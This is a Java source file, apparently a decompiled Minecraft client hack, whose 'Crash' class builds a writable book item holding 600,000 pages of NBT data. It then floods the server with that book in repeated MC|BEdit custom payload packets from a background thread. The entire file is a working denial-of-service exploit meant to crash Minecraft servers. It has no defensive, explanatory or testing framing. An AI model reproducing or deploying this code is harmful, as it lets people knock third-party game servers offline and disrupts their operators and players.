package me.hp888.client;
import io.netty.buffer.Unpooled;
import java.io.IOException;
import net.minecraft.client.Minecraft;
import net.minecraft.client.network.NetHandlerPlayClient;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.nbt.NBTTagList;
import net.minecraft.nbt.NBTTagString;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;
public class Crash
{
static PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());
public static void createBook()
{
NBTTagString tString = new NBTTagString("_");
ItemStack stack = new ItemStack(Items.writable_book);
NBTTagCompound tag = new NBTTagCompound();
NBTTagList list = new NBTTagList();
for (int i = 0; i < 600000; i++) {
list.appendTag(tString);
}
tag.setTag("pages", list);
stack.setTagCompound(tag);
try
{
buffer.writeItemStackToBuffer(stack);
}
catch (IOException e)
{
e.printStackTrace();
}
}
public static void sendPayload(int power)
{
Thread t = new Thread(new Runnable()
{
public void run()
{
for (int x = 0; x < this.val$power; x++) {
Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C17PacketCustomPayload("MC|BEdit", Crash.buffer));
}
}
});
t.start();
}
}